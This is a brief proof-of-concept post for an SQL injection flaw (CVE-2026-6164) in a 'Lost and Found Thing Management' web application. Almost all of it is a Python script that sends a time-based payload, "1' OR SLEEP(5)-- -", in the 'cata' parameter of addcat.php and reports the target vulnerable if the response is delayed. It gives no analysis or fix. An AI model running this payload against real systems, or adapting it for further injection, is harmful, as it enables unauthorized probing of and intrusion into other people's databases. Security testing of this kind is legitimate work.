CVE-2026-6164 Lost and Found Thing Management SQL注入漏洞

import requests def check_sqli(url): target = f"{url}/addcat.php" # Using a simple time-based payload for demonstration payload = { "cata": "1' OR SLEEP(5)-- -" } try: print(f"[+] Sending payload to {target}...") response = requests.post(target, data=payload, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] The application appears to be vulnerable to SQL Injection (Time-based).") else: print("[-] Vulnerability not confirmed with this payload.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1" check_sqli(target_ip)